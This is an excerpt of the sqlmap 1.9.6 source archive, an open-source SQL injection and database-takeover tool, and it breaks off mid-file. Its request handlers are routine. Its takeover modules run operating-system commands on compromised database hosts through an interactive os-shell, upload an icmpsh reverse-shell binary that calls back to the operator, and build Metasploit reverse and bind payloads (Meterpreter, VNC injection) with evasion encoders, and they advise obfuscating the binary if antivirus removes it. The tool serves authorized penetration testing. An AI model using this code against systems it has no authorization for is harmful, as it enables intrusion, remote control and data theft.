(payload or "").upper()) def checkBooleanExpression(expression, expectingNone=True): return getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=expectingNone) �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/request/methodrequest.py�����������������������������������������������������������0000664�0000000�0000000�00000001115�15022617442�0020526�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getText from thirdparty.six.moves import urllib as _urllib class MethodRequest(_urllib.request.Request): """ Used to create HEAD/PUT/DELETE/... requests with urllib """ def set_method(self, method): self.method = getText(method.upper()) # Dirty hack for Python3 (may it rot in hell!) def get_method(self): return getattr(self, 'method', _urllib.request.Request.get_method(self)) ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/request/pkihandler.py��������������������������������������������������������������0000664�0000000�0000000�00000002205�15022617442�0017757�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import conf from lib.core.common import getSafeExString from lib.core.exception import SqlmapConnectionException from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib class HTTPSPKIAuthHandler(_urllib.request.HTTPSHandler): def __init__(self, auth_file): _urllib.request.HTTPSHandler.__init__(self) self.auth_file = auth_file def https_open(self, req): return self.do_open(self.getConnection, req) def getConnection(self, host, timeout=None): try: # Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain return _http_client.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout) except IOError as ex: errMsg = "error occurred while using key " errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex)) raise SqlmapConnectionException(errMsg) �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/request/rangehandler.py������������������������������������������������������������0000664�0000000�0000000�00000001655�15022617442�0020300�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapConnectionException from thirdparty.six.moves import urllib as _urllib class HTTPRangeHandler(_urllib.request.BaseHandler): """ Handler that enables HTTP Range headers. Reference: http://stackoverflow.com/questions/1971240/python-seek-on-remote-file """ def http_error_206(self, req, fp, code, msg, hdrs): # 206 Partial Content Response r = _urllib.response.addinfourl(fp, hdrs, req.get_full_url()) r.code = code r.msg = msg return r def http_error_416(self, req, fp, code, msg, hdrs): # HTTP's Range Not Satisfiable error errMsg = "there was a problem while connecting " errMsg += "target ('406 - Range Not Satisfiable')" raise SqlmapConnectionException(errMsg) �����������������������������������������������������������������������������������sqlmap-1.9.6/lib/request/redirecthandler.py���������������������������������������������������������0000664�0000000�0000000�00000020316�15022617442�0021000�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import io import re import time import types from lib.core.common import getHostHeader from lib.core.common import getSafeExString from lib.core.common import logHTTPTraffic from lib.core.common import readInput from lib.core.convert import getBytes from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import REDIRECTION from lib.core.exception import SqlmapConnectionException from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import MAX_CONNECTION_READ_SIZE from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import MAX_SINGLE_URL_REDIRECTIONS from lib.core.settings import MAX_TOTAL_REDIRECTIONS from lib.core.threads import getCurrentThreadData from lib.request.basic import decodePage from lib.request.basic import parseResponse from thirdparty import six from thirdparty.six.moves import urllib as _urllib class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler): def _get_header_redirect(self, headers): retVal = None if headers: if HTTP_HEADER.LOCATION in headers: retVal = headers[HTTP_HEADER.LOCATION] elif HTTP_HEADER.URI in headers: retVal = headers[HTTP_HEADER.URI] return retVal def _ask_redirect_choice(self, redcode, redurl, method): with kb.locks.redirect: if kb.choices.redirect is None: msg = "got a %d redirect to " % redcode msg += "'%s'. Do you want to follow? [Y/n] " % redurl kb.choices.redirect = REDIRECTION.YES if readInput(msg, default='Y', boolean=True) else REDIRECTION.NO if kb.choices.redirect == REDIRECTION.YES and method == HTTPMETHOD.POST and kb.resendPostOnRedirect is None: msg = "redirect is a result of a " msg += "POST request. Do you want to " msg += "resend original POST data to a new " msg += "location? [%s] " % ("Y/n" if not kb.originalPage else "y/N") kb.resendPostOnRedirect = readInput(msg, default=('Y' if not kb.originalPage else 'N'), boolean=True) if kb.resendPostOnRedirect: self.redirect_request = self._redirect_request def _redirect_request(self, req, fp, code, msg, headers, newurl): return _urllib.request.Request(newurl.replace(' ', '%20'), data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host() if hasattr(req, "get_origin_req_host") else req.origin_req_host) def http_error_302(self, req, fp, code, msg, headers): start = time.time() content = None forceRedirect = False redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None try: content = fp.read(MAX_CONNECTION_TOTAL_SIZE) except: # e.g. IncompleteRead content = b"" finally: if content: try: # try to write it back to the read buffer so we could reuse it in further steps fp.fp._rbuf.truncate(0) fp.fp._rbuf.write(content) except: pass content = decodePage(content, headers.get(HTTP_HEADER.CONTENT_ENCODING), headers.get(HTTP_HEADER.CONTENT_TYPE)) threadData = getCurrentThreadData() threadData.lastRedirectMsg = (threadData.lastRequestUID, content) redirectMsg = "HTTP redirect " redirectMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, getUnicode(msg)) if headers: logHeaders = "\r\n".join("%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in headers.items()) else: logHeaders = "" redirectMsg += logHeaders if content: redirectMsg += "\r\n\r\n%s" % getUnicode(content[:MAX_CONNECTION_READ_SIZE]) logHTTPTraffic(threadData.lastRequestMsg, redirectMsg, start, time.time()) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, redirectMsg) if redurl: try: if not _urllib.parse.urlsplit(redurl).netloc: redurl = _urllib.parse.urljoin(req.get_full_url(), redurl) self._infinite_loop_check(req) if conf.scope: if not re.search(conf.scope, redurl, re.I): redurl = None else: forceRedirect = True else: self._ask_redirect_choice(code, redurl, req.get_method()) except ValueError: redurl = None result = fp if redurl and (kb.choices.redirect == REDIRECTION.YES or forceRedirect): parseResponse(content, headers) req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl) if headers and HTTP_HEADER.SET_COOKIE in headers: cookies = dict() delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER last = None for part in getUnicode(req.headers.get(HTTP_HEADER.COOKIE, "")).split(delimiter) + ([headers[HTTP_HEADER.SET_COOKIE]] if HTTP_HEADER.SET_COOKIE in headers else []): if '=' in part: part = part.strip() key, value = part.split('=', 1) cookies[key] = value last = key elif last: cookies[last] += "%s%s" % (delimiter, part) req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies) try: result = _urllib.request.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) except _urllib.error.HTTPError as ex: result = ex # Dirty hack for https://github.com/sqlmapproject/sqlmap/issues/4046 try: hasattr(result, "read") except KeyError: class _(object): pass result = _() # Dirty hack for http://bugs.python.org/issue15701 try: result.info() except AttributeError: def _(self): return getattr(self, "hdrs", {}) result.info = types.MethodType(_, result) if not hasattr(result, "read"): def _(self, length=None): try: retVal = getSafeExString(ex) # Note: pyflakes mistakenly marks 'ex' as undefined (NOTE: tested in both Python2 and Python3) except: retVal = "" return getBytes(retVal) result.read = types.MethodType(_, result) if not getattr(result, "url", None): result.url = redurl if not getattr(result, "code", None): result.code = 999 except: redurl = None result = fp fp.read = io.BytesIO(b"").read else: result = fp threadData.lastRedirectURL = (threadData.lastRequestUID, redurl) result.redcode = code result.redurl = getUnicode(redurl) if six.PY3 else redurl return result http_error_301 = http_error_303 = http_error_307 = http_error_302 def _infinite_loop_check(self, req): if hasattr(req, 'redirect_dict') and (req.redirect_dict.get(req.get_full_url(), 0) >= MAX_SINGLE_URL_REDIRECTIONS or len(req.redirect_dict) >= MAX_TOTAL_REDIRECTIONS): errMsg = "infinite redirect loop detected (%s). " % ", ".join(item for item in req.redirect_dict.keys()) errMsg += "Please check all provided parameters and/or provide missing ones" raise SqlmapConnectionException(errMsg) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/request/templates.py���������������������������������������������������������������0000664�0000000�0000000�00000001170�15022617442�0017634�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import kb from lib.request.connect import Connect as Request def getPageTemplate(payload, place): retVal = (kb.originalPage, kb.errorIsNone) if payload and place: if (payload, place) not in kb.pageTemplates: page, _, _ = Request.queryPage(payload, place, content=True, raise404=False) kb.pageTemplates[(payload, place)] = (page, kb.lastParserStatus is None) retVal = kb.pageTemplates[(payload, place)] return retVal ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/takeover/��������������������������������������������������������������������������0000775�0000000�0000000�00000000000�15022617442�0015415�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/takeover/__init__.py���������������������������������������������������������������0000664�0000000�0000000�00000000222�15022617442�0017522�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/takeover/abstraction.py������������������������������������������������������������0000664�0000000�0000000�00000020367�15022617442�0020310�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import sys from lib.core.common import Backend from lib.core.common import dataToStdout from lib.core.common import getSQLSnippet from lib.core.common import isStackingAvailable from lib.core.common import readInput from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.shell import autoCompletion from lib.request import inject from lib.takeover.udf import UDF from lib.takeover.web import Web from lib.takeover.xp_cmdshell import XP_cmdshell from lib.utils.safe2bin import safechardecode from thirdparty.six.moves import input as _input class Abstraction(Web, UDF, XP_cmdshell): """ This class defines an abstraction layer for OS takeover functionalities to UDF / XP_cmdshell objects """ def __init__(self): self.envInitialized = False self.alwaysRetrieveCmdOutput = False UDF.__init__(self) Web.__init__(self) XP_cmdshell.__init__(self) def execCmd(self, cmd, silent=False): if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): self.copyExecCmd(cmd) elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): self.webBackdoorRunCmd(cmd) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.udfExecCmd(cmd, silent=silent) elif Backend.isDbms(DBMS.MSSQL): self.xpCmdshellExecCmd(cmd, silent=silent) else: errMsg = "Feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) def evalCmd(self, cmd, first=None, last=None): retVal = None if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): retVal = self.copyExecCmd(cmd) elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): retVal = self.webBackdoorRunCmd(cmd) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): retVal = self.udfEvalCmd(cmd, first, last) elif Backend.isDbms(DBMS.MSSQL): retVal = self.xpCmdshellEvalCmd(cmd, first, last) else: errMsg = "Feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) return safechardecode(retVal) def runCmd(self, cmd): choice = None if not self.alwaysRetrieveCmdOutput: message = "do you want to retrieve the command standard " message += "output? [Y/n/a] " choice = readInput(message, default='Y').upper() if choice == 'A': self.alwaysRetrieveCmdOutput = True if choice == 'Y' or self.alwaysRetrieveCmdOutput: output = self.evalCmd(cmd) if output: conf.dumper.string("command standard output", output) else: dataToStdout("No output\n") else: self.execCmd(cmd) def shell(self): if self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): infoMsg = "calling OS shell. To quit type " infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) else: if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): infoMsg = "going to use 'COPY ... FROM PROGRAM ...' " infoMsg += "command execution" logger.info(infoMsg) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): infoMsg = "going to use injected user-defined functions " infoMsg += "'sys_eval' and 'sys_exec' for operating system " infoMsg += "command execution" logger.info(infoMsg) elif Backend.isDbms(DBMS.MSSQL): infoMsg = "going to use extended procedure 'xp_cmdshell' for " infoMsg += "operating system command execution" logger.info(infoMsg) else: errMsg = "feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) infoMsg = "calling %s OS shell. To quit type " % (Backend.getOs() or "Windows") infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) autoCompletion(AUTOCOMPLETE_TYPE.OS, OS.WINDOWS if Backend.isOs(OS.WINDOWS) else OS.LINUX) while True: command = None try: command = _input("os-shell> ") command = getUnicode(command, encoding=sys.stdin.encoding) except KeyboardInterrupt: print() errMsg = "user aborted" logger.error(errMsg) except EOFError: print() errMsg = "exit" logger.error(errMsg) break if not command: continue if command.lower() in ("x", "q", "exit", "quit"): break self.runCmd(command) def _initRunAs(self): if not conf.dbmsCred: return if not conf.direct and not isStackingAvailable(): errMsg = "stacked queries are not supported hence sqlmap cannot " errMsg += "execute statements as another user. The execution " errMsg += "will continue and the DBMS credentials provided " errMsg += "will simply be ignored" logger.error(errMsg) return if Backend.isDbms(DBMS.MSSQL): msg = "on Microsoft SQL Server 2005 and 2008, OPENROWSET function " msg += "is disabled by default. This function is needed to execute " msg += "statements as another DBMS user since you provided the " msg += "option '--dbms-creds'. If you are DBA, you can enable it. " msg += "Do you want to enable it? [Y/n] " if readInput(msg, default='Y', boolean=True): expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1") inject.goStacked(expression) # TODO: add support for PostgreSQL # elif Backend.isDbms(DBMS.PGSQL): # expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1") # inject.goStacked(expression) def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False): self._initRunAs() if self.envInitialized and not forceInit: return if web: self.webInit() else: self.checkDbmsOs(detailed) if mandatory and not self.isDba(): warnMsg = "functionality requested probably does not work because " warnMsg += "the current session user is not a database administrator" if not conf.dbmsCred and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): warnMsg += ". You can try to use option '--dbms-cred' " warnMsg += "to execute statements as a DBA user if you " warnMsg += "were able to extract and crack a DBA " warnMsg += "password by any mean" logger.warning(warnMsg) if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): success = True elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): success = self.udfInjectSys() if success is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) elif Backend.isDbms(DBMS.MSSQL): if mandatory: self.xpCmdshellInit() else: errMsg = "feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) self.envInitialized = True �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/takeover/icmpsh.py�����������������������������������������������������������������0000664�0000000�0000000�00000011202�15022617442�0017246�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import re import socket import time from extra.icmpsh.icmpsh_m import main as icmpshmaster from lib.core.common import getLocalIP from lib.core.common import getRemoteIP from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import randomStr from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger from lib.core.data import paths from lib.core.exception import SqlmapDataException class ICMPsh(object): """ This class defines methods to call icmpsh for plugins. """ def _initVars(self): self.lhostStr = None self.rhostStr = None self.localIP = getLocalIP() self.remoteIP = getRemoteIP() or conf.hostname self._icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_")) def _selectRhost(self): address = None message = "what is the back-end DBMS address? " if self.remoteIP: message += "[Enter for '%s' (detected)] " % self.remoteIP while not address: address = readInput(message, default=self.remoteIP) if conf.batch and not address: raise SqlmapDataException("remote host address is missing") return address def _selectLhost(self): address = None message = "what is the local address? " if self.localIP: message += "[Enter for '%s' (detected)] " % self.localIP valid = None while not valid: valid = True address = readInput(message, default=self.localIP or "") try: socket.inet_aton(address) except socket.error: valid = False finally: valid = valid and re.search(r"\d+\.\d+\.\d+\.\d+", address) is not None if conf.batch and not address: raise SqlmapDataException("local host address is missing") elif address and not valid: warnMsg = "invalid local host address" logger.warning(warnMsg) return address def _prepareIngredients(self, encode=True): self.localIP = getattr(self, "localIP", None) self.remoteIP = getattr(self, "remoteIP", None) self.lhostStr = ICMPsh._selectLhost(self) self.rhostStr = ICMPsh._selectRhost(self) def _runIcmpshMaster(self): infoMsg = "running icmpsh master locally" logger.info(infoMsg) icmpshmaster(self.lhostStr, self.rhostStr) def _runIcmpshSlaveRemote(self): infoMsg = "running icmpsh slave remotely" logger.info(infoMsg) cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpslaveRemote, self.lhostStr) self.execCmd(cmd, silent=True) def uploadIcmpshSlave(self, web=False): ICMPsh._initVars(self) self._randStr = randomStr(lowercase=True) self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase) self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote)) logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote) if web: written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave) else: written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True) if written is not True: errMsg = "there has been a problem uploading icmpsh, it " errMsg += "looks like the binary file has not been written " errMsg += "on the database underlying file system or an AV has " errMsg += "flagged it as malicious and removed it. In such a case " errMsg += "it is recommended to recompile icmpsh with slight " errMsg += "modification to the source code or pack it with an " errMsg += "obfuscator software" logger.error(errMsg) return False else: logger.info("icmpsh successfully uploaded") return True def icmpPwn(self): ICMPsh._prepareIngredients(self) self._runIcmpshSlaveRemote() self._runIcmpshMaster() debugMsg = "icmpsh master exited" logger.debug(debugMsg) time.sleep(1) self.execCmd("taskkill /F /IM %s" % self._icmpslaveRemoteBase, silent=True) time.sleep(1) self.delRemoteFile(self._icmpslaveRemote) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/takeover/metasploit.py�������������������������������������������������������������0000664�0000000�0000000�00000067113�15022617442�0020160�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import errno import os import re import select import sys import tempfile import time from subprocess import PIPE from extra.cloak.cloak import cloak from extra.cloak.cloak import decloak from lib.core.common import dataToStdout from lib.core.common import Backend from lib.core.common import getLocalIP from lib.core.common import getRemoteIP from lib.core.common import isDigit from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import pollProcess from lib.core.common import randomRange from lib.core.common import randomStr from lib.core.common import readInput from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapGenericException from lib.core.settings import IS_WIN from lib.core.settings import METASPLOIT_SESSION_TIMEOUT from lib.core.settings import SHELLCODEEXEC_RANDOM_STRING_MARKER from lib.core.subprocessng import blockingReadFromFD from lib.core.subprocessng import blockingWriteToFD from lib.core.subprocessng import Popen as execute from lib.core.subprocessng import send_all from lib.core.subprocessng import recv_some from thirdparty import six if IS_WIN: import msvcrt class Metasploit(object): """ This class defines methods to call Metasploit for plugins. """ def _initVars(self): self.connectionStr = None self.lhostStr = None self.rhostStr = None self.portStr = None self.payloadStr = None self.encoderStr = None self.payloadConnStr = None self.localIP = getLocalIP() self.remoteIP = getRemoteIP() or conf.hostname self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli%s" % (".bat" if IS_WIN else ""))) self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole%s" % (".bat" if IS_WIN else ""))) self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode%s" % (".bat" if IS_WIN else ""))) self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload%s" % (".bat" if IS_WIN else ""))) self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom%s" % (".bat" if IS_WIN else ""))) self._msfPayloadsList = { "windows": { 1: ("Meterpreter (default)", "windows/meterpreter"), 2: ("Shell", "windows/shell"), 3: ("VNC", "windows/vncinject"), }, "linux": { 1: ("Shell (default)", "linux/x86/shell"), 2: ("Meterpreter (beta)", "linux/x86/meterpreter"), } } self._msfConnectionsList = { "windows": { 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), 2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"), 3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"), 4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"), 5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), }, "linux": { 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), 2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), } } self._msfEncodersList = { "windows": { 1: ("No Encoder", "generic/none"), 2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"), 3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"), 4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"), 5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"), 6: ("Single-byte XOR Countdown Encoder", "x86/countdown"), 7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"), 8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"), 9: ("Non-Alpha Encoder", "x86/nonalpha"), 10: ("Non-Upper Encoder", "x86/nonupper"), 11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"), 12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"), 13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"), } } self._msfSMBPortsList = { "windows": { 1: ("139/TCP", "139"), 2: ("445/TCP (default)", "445"), } } self._portData = { "bind": "remote port number", "reverse": "local port number", } def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1): if Backend.isOs(OS.WINDOWS): opSys = "windows" else: opSys = "linux" message = "which %s do you want to use?" % msg if lst: for num, data in lst[opSys].items(): description = data[0] if num > maxValue: maxValue = num if "(default)" in description: default = num message += "\n[%d] %s" % (num, description) else: message += " [%d] " % default choice = readInput(message, default="%d" % default) if not choice or not isDigit(choice) or int(choice) > maxValue or int(choice) < 1: choice = default choice = int(choice) if lst: choice = lst[opSys][choice][1] return choice def _selectSMBPort(self): return self._skeletonSelection("SMB port", self._msfSMBPortsList) def _selectEncoder(self, encode=True): # This is always the case except for --os-bof where the user can # choose which encoder to use. When called from --os-pwn the encoder # is always x86/alpha_mixed - used for sys_bineval() and # shellcodeexec if isinstance(encode, six.string_types): return encode elif encode: return self._skeletonSelection("payload encoding", self._msfEncodersList) def _selectPayload(self): if Backend.isOs(OS.WINDOWS) and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " infoMsg += "escalate privileges via 'incognito' extension, " infoMsg += "'getsystem' command or post modules" logger.info(infoMsg) _payloadStr = "windows/meterpreter" else: _payloadStr = self._skeletonSelection("payload", self._msfPayloadsList) if _payloadStr == "windows/vncinject": choose = False if Backend.isDbms(DBMS.MYSQL): debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, it is likely that the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) elif Backend.isDbms(DBMS.PGSQL): choose = True warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" logger.warning(warnMsg) elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): choose = True warnMsg = "it is unlikely that the VNC injection will be " warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" logger.warning(warnMsg) if choose: message = "what do you want to do?\n" message += "[1] Give it a try anyway\n" message += "[2] Fall back to Meterpreter payload (default)\n" message += "[3] Fall back to Shell payload" while True: choice = readInput(message, default="2") if not choice or choice == "2": _payloadStr = "windows/meterpreter" break elif choice == "3": _payloadStr = "windows/shell" break elif choice == "1": if Backend.isDbms(DBMS.PGSQL): logger.warning("beware that the VNC injection might not work") break elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): break elif not isDigit(choice): logger.warning("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: logger.warning("invalid value, it must be 1 or 2") if self.connectionStr.startswith("reverse_http") and _payloadStr != "windows/meterpreter": warnMsg = "Reverse HTTP%s connection is only supported " % ("S" if self.connectionStr.endswith("s") else "") warnMsg += "with the Meterpreter payload. Falling back to " warnMsg += "reverse TCP" logger.warning(warnMsg) self.connectionStr = "reverse_tcp" return _payloadStr def _selectPort(self): for connType, connStr in self._portData.items(): if self.connectionStr.startswith(connType): return self._skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535)) def _selectRhost(self): if self.connectionStr.startswith("bind"): message = "what is the back-end DBMS address? [Enter for '%s' (detected)] " % self.remoteIP address = readInput(message, default=self.remoteIP) if not address: address = self.remoteIP return address elif self.connectionStr.startswith("reverse"): return None else: raise SqlmapDataException("unexpected connection type") def _selectLhost(self): if self.connectionStr.startswith("reverse"): message = "what is the local address? [Enter for '%s' (detected)] " % self.localIP address = readInput(message, default=self.localIP) if not address: address = self.localIP return address elif self.connectionStr.startswith("bind"): return None else: raise SqlmapDataException("unexpected connection type") def _selectConnection(self): return self._skeletonSelection("connection type", self._msfConnectionsList) def _prepareIngredients(self, encode=True): self.connectionStr = self._selectConnection() self.lhostStr = self._selectLhost() self.rhostStr = self._selectRhost() self.portStr = self._selectPort() self.payloadStr = self._selectPayload() self.encoderStr = self._selectEncoder(encode) self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr) def _forgeMsfCliCmd(self, exitfunc="process"): if kb.oldMsf: self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd += " EXITFUNC=%s" % exitfunc self._cliCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("bind"): self._cliCmd += " RHOST=%s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += " LHOST=%s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.WINDOWS) and self.payloadStr == 